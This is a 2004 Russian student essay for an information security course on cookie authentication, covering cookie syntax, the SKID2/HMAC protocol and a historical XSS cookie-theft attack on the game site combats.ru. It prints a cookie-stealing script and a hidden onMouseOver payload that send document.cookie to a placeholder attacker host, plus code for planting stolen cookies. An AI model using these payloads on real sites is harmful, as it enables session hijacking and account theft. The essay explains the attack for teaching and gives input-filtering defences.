Московский физико-технический институт
(государственный университет)

Cookie аутентификация.

Эссе по курсу Защита информации
студента 012 группы Волкова Алексея.

2004 г.

Механизм Cookie был введен компанией Netscape.

В отличие от протоколов FTP и Telnet, в протоколе HTTP соединение устанавливается только на время, необходимое для передачи данных от сервера клиенту, после чего соединение автоматически разрывается. Однако для доступа к ресурсам может потребоваться аутентификация. В этом случае придется каждый раз при обращении к ресурсу аутентифицироваться (вводить имя пользователя и пароль), что делает работу с сервером очень неудобной. Изначально выходили из положения, вводя невидимые поля HTML форм, но этот способ оказался очень неудобным: приходилось каждый раз вызывать скрипт, чтобы обрабатывать эти поля.

В конце концов, выход был найден в виде механизма Cookie. Он заключается в том, что в заголовке HTTP сообщения от сервера к браузеру передается Cookie. Cookie браузер сохраняет на компьютере и затем использует его при последующих обращениях к серверу.

Формат и синтаксис Cookie.

Общий формат поля Set-Cookie HTTP заголовка:
Set-Cookie: NAME=VALUE; [expires=DATE; path=PATH; domain=DOMAIN; secure]

[]–отмечены поля, которые можно опустить.

NAME=VALUE – строка символов, запятые, пробелы и перевод сроки запрещены. NAME–имя cookie, VALUE – значение.

expires=DATE – время, до которого хранится cookie
DATE–дата в формате DD-MM-YYYY HH:MM:SS GMT. В случае, когда это поле опущено, после окончания сеанса cookie удаляется.

domain=DOMAIN – домен, в котором значение cookie действует, например domain=cookie.com. При этом cookie будет применяться и для cookie.com и для www.cookie.com. В случае, когда это поле опущено, будет применяться имя домена, с которого был получен cookie.

path=PATH – это поле ограничивает множество документов, для которых применяется cookie. Например, при заданном path=cook, cookie действителен для файлов из папки на сервере /cook/, также для /cookie/; для файлов из текущей директории cook.htm и cookie.shtml. В случае, когда это поле не указано, cookie будет действителен для файлов, находящихся в текущей директории.

secure – когда установлен такой маркер, тогда cookie передается только через протокол HTTPS. В случае, когда это поле не указано, информация передается в plain виде без шифрования.

Вид HTTP заголовка для поля Cookie

Перед запросом документа с HTTP сервера, браузер ищет cookie, подходящие для данного документа, руководствуясь значениями полей cookie, например именем домена и прочей информацией. Если подходящий cookie найден, браузер посылает cookie серверу в виде:
Cookie: name1=NAME1; name2=NAME2; …

Если браузер получает cookie, который совпадает с имеющимся в полях name, domain и path, старый cookie заменяется на новый. В противном случае cookie добавляется.

Браузер имеет некоторые ограничения по cookie:

- Всего может храниться не более 300 cookies. В случае превышения лимита самые старые cookie заменяются на новые. На этом факте основаны некоторые атаки на cookie: например, можно написать скрипт, где с 15 доменов можно передать по 20 cookies, и таким образом вычистить весь накопленный в течение длительного времени запас cookie у пользователя.

- С одного домена могут храниться не более 20 cookies. В случае превышения лимита старые cookie с данного домена заменяются на новые. Как и с предыдущим лимитом, с этим также связаны некоторые атаки. Для этого нужно на какой-нибудь сервер закачать HTML-документ, в котором разместить скрипт, передающий клиенту 20 cookies. И весь запас cookies для данного сервера за несколько секунд будет вычищен. Если жертва читает почту через Web, сделать это несложно: достаточно послать этот документ по электронной почте, и все cookie от почтового сервера на компьютере жертвы будут вычищены

- Отдельный cookie ограничен размером в 4 килобайта. При превышении данного лимита от cookie только конец размером 4К. На данном лимите атаку сделать сложно, можно лишь забить жертве 1200К дискового пространства, при плохом соединении можно дисконнектить жертву атаки.

Proxy-сервера cookie не кэшируют и всегда cookie пропускают, вне зависимости от того, кэширован ли сам документ, или нет.

Аутентификация посредством cookie с использованием HMAC и SKID2.

Иногда было бы полезно использовать аутентификацию без применения SSL/TLS. SKID2 – протокол, который обеспечивает такую аутентификацию, используя cookie.

Предположим, что клиент хочет аутентифицироваться у сервера, используя имя пользователя username и пароль password. Ясно, что пароль в открытом виде передаваться не должен.

Шаг 1. У сервера есть глобальный секретный ключ KEY.

Шаг 2. Сервер посылает случайную сроку (около 8 байт) клиенту.
Назовем ее random1.
Сервер пошлет клиенту cookie, содержащий Y:
Y = random1 + HMAC(KEY, random1)

Шаг 3. Клиент извлекает из cookie random1. Далее он генерирует случайное число random2 и вычисляет X = HMAC(password, random1 + random2).
Клиент посылает серверу cookie, содержащий
X, username, random2

Шаг 4. Сервер читает cookie пришедший от клиента и извлекает random1, random2,

username, X.
a. Сначала сервер извлекает random1 из Y и проверяет, что
random1 + HMAC(KEY, random1) == Y.
Если они не одинаковы, то протокол прерывается.
b. Проверяет базу данных пользователей на наличие в ней username и затем проверяет пароль пользователя.
c. Проверяет что HMAC(password, random1 + random2) == X.
Если они не совпадают, то протокол прерывается.

Шаг 5. Пользователь теперь аутентифицирован. Чтобы поддерживать сессию, необходимо сгенерировать сессионный cookie. Например, он может быть таким:
TIME + username + HMAC(KEY, username + TIME + IP)
Таким образом, можно повторить аутентификацию, когда сессия устарела (превышен некоторый лимит по времени) или проверить данные пользователя на лету. Однако, перехватив этот cookie, любой с клиентской стороны может представить себя аутентифицированным пользователем. Этот сессионный cookie и есть одно из слабых мест протокола. Пример кражи cookie на combats.ru приведен ниже.

Пример атаки на combats.ru.

Множество различных сайтов используют в качестве средства аутентификации cookie, к ним относятся чаты, форумы, игры. Если cookie удастся похитить, то, подделав его, можно аутентифицироваться в качестве другого пользователя.

В случае, когда вводимые данные плохо фильтруются или не фильтруются вовсе, похитить cookie становится не очень сложным предприятием.

Пример скрипта, позволяющий похитить cookie:

```
<script>
# x содержит данные cookie с защищенного домена
var x = document.cookie;
# место в сети, куда послать украденный cookie
var place =  "http://www.somewhere.com/cgi-bin/attack.cgi?COOKIE=";
document.img[x].src = location + cookie_data;
</script>
```

Данные cookie будут отправлены с помощью get запроса к серверу атакующего:
http://www.somewhere.com/cgi-bin/attack.cgi?COOKIE=cookie_data

Главные достоинства этого метода – простота реализации и отсутствие следов на атакуемом сервере. Атака проходит незаметно для пользователя, что также является несомненным плюсом данной атаки.

Реализация на практике.

Данный вид атаки реализован уже не один раз, подробности можно найти на багтреках. Остановимся на одном баге, существовавшем когда-то в одной online-игре «Бойцовский клуб», http://www.combats.ru.

Баг заключался в следующем.

HTML документ странички, где менялась информация о пользователе, содержал пароль в нешифрованном виде:
<input TYPE=hidden name=password value="pswd">

Получив эти данные, злоумышленник получал доступ к аккаунту игрока. Главный вопрос, каким образом достать этот пароль.

На страничке смены информации об игроке в поле «Домашняя страница» запрещенные символы не фильтруются. Добавив в поле код
onMouseOver=”alert(‘hi’)”
при наведении мышки на эту строчку выполнялась команда alert(‘hi)

Было лишь одно ограничение на длину вводимого кода maxlength = 30.

Проблема легко решалась изменением странички у себя на компьютере:
<input NAME="homepage" maxlenght=1300 value="" size="20">

Теперь в поле «Домашняя страница» можно было набрать более длинный текст, причем вся информация сохранялась на сервере.

Результатом длительных экспериментов стал следующий код, записанный в поле «Домашняя страница»:

www.combats.ru" style="position:absolute;top:-250px; left:-150px;height:800px; width:950px; color:#e2e0e0;"
OnMouseOver='javascript:if(window.document.body.name=="hi")
{}else{window.document.body.name="hi"; cookie_data=document.cookie;
test=open("http://www.somewhere.ru/attack.php?cookie="+cookie_data,"",
"width=1,height=1"); window.hi.close();}'

Пояснения:

style=color:#e2e0e0; (e2e0e0) – цвет фона, поэтому код скрипта невидим для пользователя

OnMouseOver – срабатывал элемент в момент, когда пользователь проводил мышкой по ссылке

"style="position:absolute;top:-250px;left:-150px;height:800px;width:950px;color:#e2e0e0;"
создается прозрачный элемент во весь экран, чтобы сделать недолгим ожидание, когда пользователь проведет над элементом мышкой.

cookie_data=document.cookie; – украденный cookie

Данные передаются в базу данных на хакерский сервер
if(window.document.body.name=="hi")
{
}
else
{

```
window.document.body.name="hi";
cookie_data=document.cookie;
test= open("http://www.somewhere.ru/attack.php?cookie="+cookie_data,"",
"width=1,height=1");
window.hi.close();
}
```

В тот момент, когда кто-нибудь открывал такое INFO и чуть подвинул мышкой, код исполнялся и cookie отправлялись на сервер злоумышленника.

Украденный cookie:

```
battleid=place; battle=user; battlepsw=passwd; ChatColor=Green
battle=user;          – Чужой логин
battlepsw=passwd;     – Пароль к данному поединку.
```

В поле "Домашняя страница" затем помещалось:

```
"onMouseOver='javascript:document.cookie ="battle=user";
document.cookie =" ChatColor=Green";
document.cookie =" battleid= place";
document.cookie =" battlepsw= passwd";'
```

После того, как хакер провел мышкой над строкой с домашней страницей, браузер получал необходимые Cookie. Таким образом, он становился другим игроком – user'ом. После этого ему оставалось зайти на страничку с информацией об этом игроке и поменять его пароль.

В настоящее время эту дырку в сайте прикрыли путем фильтрации вводимых символов, поэтому данная атака больше не эффективна.

Способы защиты от таких атак.

Главный способ защиты от данного рода атак – надлежащая фильтрация ввода:

- Оставлять только безопасные теги и атрибуты в полях ввода, остальные отфильтровывать.
- Удаление одиночных и двойных кавычек.
- Фильтрация нулевых символов.

Заключение.

Поддержка cookie являются неотъемлемой частью любого браузера. Аутентификация посредством cookie на Интернет сайтах достаточно широко распространена. Протокол SKID2 не получил широкого распространения из-за уязвимости перед атаками типа man in the middle (см. http://www.comptechdoc.org/independent/security/begin/secprotocols.html). Однако существуют реализации этого протокола, например, в свободно распространяемом пакете mhash (mhash.sourceforge.net, а также http://cvs.sourceforge.net/viewcvs.py/mhash/mhash/doc/skid2-authentication?rev=1.2).

В заключение несколько слов о том, как построить классический аутентифицирующий cookie. Одна из самых простых рабочих схем состоит во включении в cookie следующей информации:
время и дата окончания действия cookie – d и s соответственно;
MAC_k (message authentication code) – код аутентификации сообщений, обычно HMAC-MD5 и HMAC-SHA1, k – секретный ключ сервера

Поле значения cookie имеет вид:

exp=d &data=s& digest=MAC_k(exp=d &data=s)

Также в cookie часто добавляют IP адрес браузера, которому был выдан cookie. Это очень сильно затрудняет использование ворованных cookie, хотя и не делает этого невозможным.

Список использованной литературы

1. Бельтикова Н.В., Кузина И.А., Храмцов П.Б. Заголовок HTML документа. Виртуальный сеанс. http://webclass.polyn.kiae.su/classes/head/cookie.htm
2. Формат и синтаксис cookie. http://www.codenet.ru/webmast/cookiesf.php
3. k0dsweb gr0up. Атака на скрипты, использующие cookie-авторизацию http://www.securitylab.ru/?ID=36860
4. Cookie: Зачем Cookie нужен? Взлом через Cookie http://www.i2r.ru/static/450/out_12253.shtml
5. Nikos G. Mavroyanopoulos. WWW authentication using cookies,php and javascript http://members.hellug.gr/nmav/cookie-authentication.txt
6. Kevin Fu, Emil Sit, Kendra Smith, Nick Fimster. Dos and Don’ts of Client Authentication on the Web http://re.mipt.ru/infsec/2004/handout/webauth.pdf